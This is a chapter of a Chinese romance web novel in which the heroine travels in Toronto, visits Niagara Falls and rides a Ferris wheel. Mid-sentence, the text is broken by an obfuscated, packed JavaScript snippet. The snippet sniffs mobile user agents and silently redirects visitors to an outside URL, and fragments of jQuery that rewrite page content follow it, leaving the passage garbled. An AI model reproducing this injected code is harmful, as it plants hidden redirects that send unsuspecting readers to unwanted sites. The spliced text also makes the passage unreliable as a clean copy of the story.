Tina陪了尤文珊整整两天,两人吃住都黏在一起。她们没有完全按照旅行计划走,倒也玩了不少地方。
意大利餐、泰国菜都吃了,正宗不正宗,尤文珊也说不上来,但味道不错。
也去吃了火锅和拉面,质量尤文珊是满意的。当然,这里的中餐,始终比不上国内花样多,可是在异国他乡,能吃上一口熟悉的味道,她已经很知足了。
她们拍了数不清的照片,手机相册被塞得满满当当。
因为一直在外面疯跑,尤文珊的时差,被硬生生耗没了。
白天在外面逛吃,晚上回酒店,两个女生一起倒着躺在床上敷面膜,把走肿的腿架在墙上,然后举着手机一起P照片。
旅行时间已经过半,尤文珊终于发了正经的旅游照。
那两日,九宫格都不够发。
宿舍的姐妹看到了照片,在群里狂欢:
「我33独美!」
「美翻了好吗!这才是我姐妹该有的样子,支棱起来!」
「镜头后面的摄影师是谁??是不是有新情况!挑眉emoji」
「这么看,多伦多也没那么差了!但还是早点回来,想你!」
尤文珊笑着一条条回。
因为在外面舍不得花国际流量,没有Wi-Fi的时候,尤文珊几乎不上网,小红薯也没怎么刷。
隔了两天再点开,她才发现,自己那条“在多伦多挨了一拳”的笔记,已经有近百条回复。
有安慰的,有关心的,但更多的,是替她觉得不值,全是善意的声音。
没办法逐一回复,尤文珊发了一组没露脸的风景照向大家交代进展,标题:「独自走完约定的旅程」,将这几天的心路历程,还有认识新朋友的事,一起写了上去。
有人很快评论:「不找男友了吗?」
尤文珊回复:「不找了」
网友们也炸开锅:
「抱抱你,好勇敢
「你终于想开了!看到这条我乳腺结节都通了!」
「我最近刚分手,看完你的遭遇,觉得自己也想开了很多」
「远离男人,就会变幸运。」
尤文珊笑出声。
还真是,自从她放弃继续寻找何敬睿,废除他的男友身份后,她的倒霉,好像也跟着终止了。
没想到的是,很快有人从她发的照片里认出了餐厅:
「我昨天也在这家!不会是坐我身后那桌吧?两个小姐姐都超好看的!」
「是14街那家吧?我就说眼熟!他家芋头酥绝了!」
「我也知道!店面很小但很好拍!旁边那家米粉店也好吃!」
从这条开始,评论区话题彻底跑偏,大家开始疯狂讨论多伦多的美食与打卡地,明明之前抱怨这座城市糟糕的也是这波人。
大家互相不认识,却像认识很久的姐妹。她抱着手机感叹:“啊~~女孩子们真美好。”
至于男人……
「美女,自己来的多伦多吗?我也在这里,交个朋友?」
「小姐姐~~哥哥不见了,要和弟弟一起玩吗?」
尤文珊用“地铁大爷”脸皱眉看着自己的私信栏,反手两个举报。
少上点网吧。
-
国际航班数量不多,很凑巧,返程尤文珊依然是和Tina同一个航班。
旅程还剩四天,最后一天要收拾行李、赶飞机,真正能玩的时间,只剩三天。
Tina要先回去陪男友Adrian,做鼻骨复位的小手术。剩下的时间,她还是准备去滑雪,玩个畅快。
她邀请尤文珊一起。
尤文珊向来运动细胞匮乏,跳个课间操,四肢都各有各的想法,滑雪她根本不敢想。更何况,眼眶的伤还没完全恢复,她决定还是老实点,“我已经霸占你两天了,就不再去当电灯泡了。”
Tina没有勉强:“那我们机场见,有事随时联系哦。”
“嗯!”
-
又只剩下尤文珊一个人,她翻开旅行计划,上面还有很多地方没有去。
看着那些景点名称,每一个都舍不得划掉。一转念又觉得自己有点好笑,如果不是因为何敬睿,她可能根本不会来这座城市,可真来了,她又像突然长出一双新眼睛,看哪里都新奇。
尤文珊从剩下的地点里,挑了一个最远的:尼亚加拉瀑布。
这几天一直在城中心打转,她想往外走走,看看多伦多之外的风景。
何敬睿以前说过,这个瀑布一半在加拿大,一半在美国,算是两国边境。四舍五入,她也算看过美国了。
瀑布离酒店四个多小时车程,酒店楼下有去瀑布的大巴旅行团,两天一趟,中间会在那边住一晚。全包价格不算贵,唯一的缺点是,要浪费一晚多伦多的酒店钱。
尤文珊盯着价格看了几秒,最后还是狠心点了确认,就当是这趟旅行,最后一张票。
第二天一早,她带了简单的洗漱用品出发。
冬季是加拿大旅游淡季,大巴只坐了半满。
车厢里多是棕色皮肤的游客,像是一大家子结伴出行,说着她完全听不懂的语言,很热闹。
尤文珊挑了靠后的位置坐下,戴上耳机,看着窗外,偶尔低头在iPad上写写画画。
她一直很喜欢坐长途大巴,因为自己是美术生出身,看到好看的东西就想拍下来,或者随手画两笔。大巴的速度刚好,给她足够的时间观察世界。
听听歌,写写画画,不知不觉,瀑布就到了。
一行人先被带去自助餐厅吃饭,是那种小红薯上刷到过的“加拿大式中餐”,甜得齁死人的糖醋虾球,和左宗棠没有任何关系的左宗棠鸡肉……味道实在有些难评,但是分量足够大。
桌上不断有人感叹:“Thisissogood."(这太好吃了)
"IloveChinesefood!”(我爱中国菜)
而纯正宗中国人尤文珊,是全桌吃的最少的那个……
吃完饭,车子把众人拉到瀑布景区。
导游用英语讲解景点和行程安排,尤文珊只听懂个大概,好在最后发了纸质行程单,几点集合写得清清楚楚,大巴车会在指定地点等他们。
她跟着众人下车,车门刚打开,瀑布的声音就涌了进来,汹涌澎湃。
天气很好,阳光足得刺眼,可越靠近水,气温越低。尤文珊穿着厚羽绒服,戴着帽子,还是被风钻得打了个哆嗦。
宣传册上写着好几个瀑布观景点:沿途长长的观景步道;地下隧道;还有高处俯瞰全景。若是夏天来,甚至能坐船直接下到水面。
来都来了,尤文珊想尽量靠近看,于是,选了从地下隧道穿到瀑布。
买票进了隧道,越往里走,瀑布的声音越响,有一种让人心里发热的澎湃。
尤文珊不自觉加快脚步,朝着出口的光亮走去。
站在阳光下的一瞬间,她像是被眼前的景象按住了,真个人顿在原地。
太近了!
她就站在瀑布的侧面,耳边全是水声,震耳欲聋。
水柱砸下来的地方翻起白雾,阳光落在冰瀑和雪面上,反出冷峻的光。旁边是厚得夸张的积雪,还有一串串短短的冰柱挂在下面。
风一刮,浮雪和水雾一起扑过来,细小水珠落在脸上,凉得刺骨。
在大自然的力量面前,尤文珊忽然意识到自己有多渺小。
那些水从平静的水面涌出来,到断崖处骤然倾泻,翻卷起汹涌白浪,而最终都会重归于平静。
天气太冷,跟她一起下来的几个人匆匆拍完照片就走了。
只剩尤文珊一个人站在围栏边,抬头望着那片白茫茫。
而后,不知道从哪里涌上来的勇气,她双手紧紧扶住围栏,用尽全身力气,朝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721333|208669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着奔腾不息的瀑布大喊:
“何——敬——睿——!!”
“何——敬——睿——!!”
她没有别的目的。
只是想喊他的名字,把压在胸口许久的那几个字,痛痛快快地喊出去。
声音脱口而出的瞬间,便被震耳欲聋的瀑布声吞没,没有回音,也没有回应,一切都被冲走,淹没了。
可尤文珊却觉得很痛快,像有什么堵在胸口的东西,也被一并冲走了。
她仰着头,迎着水雾,慢慢笑起来。
往回走的时候,尤文珊的心情很好,脚步也变轻快。回到隧道里,光线一下暗下来。尤文珊刚从瀑布前刺眼的光线里回来,眼前还有些发花,努力眨眨眼适应,发现临近隧道口不远有人背着身站着。
额……这人什么时候下来的?
不会是因为她刚才在外面发疯似的大喊,把人堵得不好意思过去了吧?
社死的感觉后知后觉冲上来,她耳根一热,立刻低下头,加快脚步从那人身边溜了过去。
出了隧道,离集合的时间还早,尤文珊决定去高空再看看,于是选了摩天轮。
她喜欢从高处俯视,把美景尽收眼底的爽感。
北港也有个很出名的摩天轮,她之前想和何敬睿一起去,但他有轻微恐高,坐飞机从不敢靠窗。摩天轮这种四面玻璃、无处躲藏的空间,对他来说简直是要命。
现在不用考虑他了。
尤文珊想去哪儿就去哪儿,想站多高就多高,想坐几圈就坐几圈。
她排队上了摩天轮,游客不多,前后都是小情侣。所以很幸运,她一个人独占了一整个舱位。
舱门关上,摩天轮缓慢往上爬。地面开始后退,外面的世界一点点缩小。
刚才还磅礴得要把人吞掉的瀑布,也被收成一幅画,直到最后全部落尽眼底。
那一刻,尤文珊忽然觉得很奇妙。她明明这么小,小到对世界来说微不足道。却能站在这样高的地方,把这幅恢弘的画面看个完整。
摩天轮转得很慢,在瀑布前喊出名字之后,尤文珊的心情莫名轻松。升到一半时,她甚至不自觉哼起歌。
起初没注意自己在唱什么,等反应过来,才发现歌词是,
“我不放弃爱的勇气,我不怀疑会有真心,我要握住一个最美的梦,给未来的自己……”
她愣了一下,又继续轻轻哼下去,“怎样都会受伤,伤了又怎样,至少我很坚强,我很坦荡……”
摩天轮一点点上升,远处天边的太阳一点点往下落,两个方向背道而驰。还不到五点,多伦多天色已经开始变暗。
天边是一片昏黄,给瀑布冰冷的白色抹了一层薄薄的暖色光晕。
就在这时,窗外忽然飘起雪花。
很细碎,很柔软,只是零零落落一些,在昏黄日落里显得格外轻盈。
画面美得像梦。
像她刚才歌词里唱的,最美的梦。
尤文珊忘了掏手机,甚至不敢眨眼,一秒也不想错过这场景。
嘴边的歌也停了,世界忽然变得很安静,雪没有声音,瀑布没有声音,只剩下心跳,一下一下,敲在胸腔。
她就那么痴痴望着窗外,脑中只剩一个最单纯的念头:
世界真好。
活着真好。
她突然就不觉得这趟旅行亏了,也不想再去算那些浪费的时间和眼泪。
摩天轮开始下行时,尤文珊才回过神,急忙掏出手机,拍了几张照片。
舱门打开,她依依不舍地走出来,抬眼的一瞬间,看见前方两格舱位下来的人群里,有个个子很高的男生。
她还是下意识多看了一眼,但心跳并没有像以前那样突然失速。再一眨眼,那男生就跟着人群消失了。
尤文珊收回视线,也朝出口走去。
走出两步,她又仰起头,竟有些舍不得这片天地了。